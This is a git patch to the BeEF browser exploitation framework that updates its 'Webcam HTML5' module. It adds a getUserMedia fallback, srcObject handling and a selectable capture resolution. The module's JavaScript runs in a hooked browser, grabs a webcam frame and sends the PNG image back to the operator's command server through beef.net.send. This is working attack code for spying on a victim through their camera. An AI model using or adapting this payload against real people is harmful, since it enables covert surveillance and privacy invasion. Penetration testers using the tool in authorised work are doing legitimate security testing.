From e69281e341e54df4ad978fc1db6d1df0b27387d9 Mon Sep 17 00:00:00 2001 From: iWhacko Date: Sat, 2 Jul 2022 10:28:08 +0200 Subject: [PATCH] Bugfix/module html5 webcam (#2392) * - Fix for offline browsers. Allowing you to view all executed commands in the past and details. - fiexed a small mistake in a comment * Revert "- Fix for offline browsers. Allowing you to view all executed commands in the past and details. - fiexed a small mistake in a comment" This reverts commit fed79d71 * - Fixed deprecated call to "window.URL.createObjectURL" on newer browsers - Fixed bug where no image would be shown even if the picture was taken. (image size too large) - added option to module to choose image size. * fixed config we default * fix codeql Co-authored-by: Whacko Co-authored-by: wheatley --- modules/browser/webcam_html5/command.js | 78 ++++++++++++++++++++++-- modules/browser/webcam_html5/config.yaml | 2 +- modules/browser/webcam_html5/module.rb | 6 ++ 3 files changed, 79 insertions(+), 7 deletions(-) diff --git a/modules/browser/webcam_html5/command.js b/modules/browser/webcam_html5/command.js index d725bef01..05e95b150 100644 --- a/modules/browser/webcam_html5/command.js +++ b/modules/browser/webcam_html5/command.js @@ -25,27 +25,93 @@ beef.execute(function() { var ctx = can_el.getContext('2d'); var localMediaStream = null; + var streaming = false; + + var width = 320; // We will scale the photo width to this + var height = 0; // This will be computed based on the input stream + var cap = function() { if (localMediaStream) { - ctx.drawImage(vid_el,0,0); + ctx.drawImage(vid_el,0,0,width,height); beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png')); } else { beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong', beef.are.status_error()); } - } + }; window.URL = window.URL || window.webkitURL; - navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia; - navigator.getUserMedia({video:true},function(stream) { - vid_el.src = window.URL.createObjectURL(stream); + // Older browsers might not implement mediaDevices at all, so we set an empty object first + if (navigator.mediaDevices === undefined) { + navigator.mediaDevices = {}; + } + + // Some browsers partially implement mediaDevices. We can't just assign an object + // with getUserMedia as it would overwrite existing properties. + // Here, we will just add the getUserMedia property if it's missing. + if (navigator.mediaDevices.getUserMedia === undefined) { + navigator.mediaDevices.getUserMedia = function(constraints) { + + // First get ahold of the legacy getUserMedia, if present + var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia; + + // Some browsers just don't implement it - return a rejected promise with an error + // to keep a consistent interface + if (!getUserMedia) { + return Promise.reject(new Error('getUserMedia is not implemented in this browser')); + } + + // Otherwise, wrap the call to the old navigator.getUserMedia with a Promise + return new Promise(function(resolve, reject) { + getUserMedia.call(navigator, constraints, resolve, reject); + }); + } + } + + navigator.mediaDevices.getUserMedia({video:true}).then(function(stream) { + if ('srcObject' in vid_el) { + vid_el.srcObject = stream; + vid_el.play(); + } else { + vid_el.src = window.URL.createObjectURL(stream); + } localMediaStream = stream; - setTimeout(cap,2000); + vid_el.addEventListener('canplay', function(ev){ + if (!streaming) { + streaming = true; + setTimeout(cap,2000); + } + }, false); }, function(err) { beef.debug('[Webcam HTML5] Error: getUserMedia call failed'); beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed', beef.are.status_error()); }); + // Retrieve the chosen div option from BeEF and display + var choice = "<%= @choice %>"; + switch (choice) { + case "320x240": + size320(); break; + case "640x480": + size640(); break; + case "Full": + sizeFull(); break; + default: + size320(); break; + } + + function size320() { + width = 320; + height = 240; + } + function size640() { + width = 640; + height = 480; + } + function sizeFull() { + width = 1280; + height = 720; + } }); diff --git a/modules/browser/webcam_html5/config.yaml b/modules/browser/webcam_html5/config.yaml index 9f1f7bc11..7cf63e9a4 100644 --- a/modules/browser/webcam_html5/config.yaml +++ b/modules/browser/webcam_html5/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: "Browser" name: "Webcam HTML5" - description: "This module will leverage HTML5s WebRTC to capture webcam images. Only tested in Chrome, and it will display a dialog to ask if the user wants to enable their webcam." + description: "This module will leverage HTML5s WebRTC to capture webcam images. Only tested in Chrome, and it will display a dialog to ask if the user wants to enable their webcam.
If no image shown choose smaller image size" authors: ["xntrik"] target: user_notify: ["C"] diff --git a/modules/browser/webcam_html5/module.rb b/modules/browser/webcam_html5/module.rb index c0672b51c..829685c6f 100644 --- a/modules/browser/webcam_html5/module.rb +++ b/modules/browser/webcam_html5/module.rb @@ -5,6 +5,12 @@ # require 'base64' class Webcam_html5 < BeEF::Core::Command + def self.options + [ + { 'name' => 'choice', 'type' => 'combobox', 'ui_label' => 'Screenshot size', 'store_type' => 'arraystore', 'store_fields' => ['choice'], + 'store_data' => [['320x240'], ['640x480'], ['Full']], 'valueField' => 'choice', 'value' => '320x240', editable: false, 'displayField' => 'choice', 'mode' => 'local', 'autoWidth' => true }, + ] + end def post_execute content = {} content['result'] = @datastore['result'] unless @datastore['result'].nil?